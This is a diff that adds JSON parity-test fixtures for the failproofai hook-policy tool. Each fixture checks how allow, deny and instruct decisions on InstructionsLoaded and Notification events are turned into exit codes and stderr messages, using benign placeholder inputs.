a/__tests__/parity/fixtures/factory/InstructionsLoaded/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..7b1e662d --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..cb67aed6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/deny__tool-present__one-policy.json new file mode 100644 index 00000000..ff7f82fa --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8a1570c6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..71231f2d --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..4fe566cc --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ec9ac63d --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/InstructionsLoaded/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/InstructionsLoaded/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c06ef728 --- /dev/null +++ b/__tests__/parity/fixtures/factory/InstructionsLoaded/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Notification/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Notification/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..d4dbc1e9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Notification/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Notification/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..c7910dfa --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Notification/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Notification/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6b10083c --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Notification/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Notification/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..4f1f5e48 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Notification/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Notification/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..276f57ae --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Notification/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Notification/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..4f93d5ff --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Notification/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Notification/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..3b87ffea --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Notification/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Notification/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..4969fe8b --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Notification/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/Notification/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..e9ffb21a --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Notification/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/Notification/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..919dea4e --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/Notification/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/Notification/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b2e0ef2a --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/Notification/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/Notification/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d81f8b38 --- /dev/null +++ b/__tests__/parity/fixtures/factory/Notification/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": 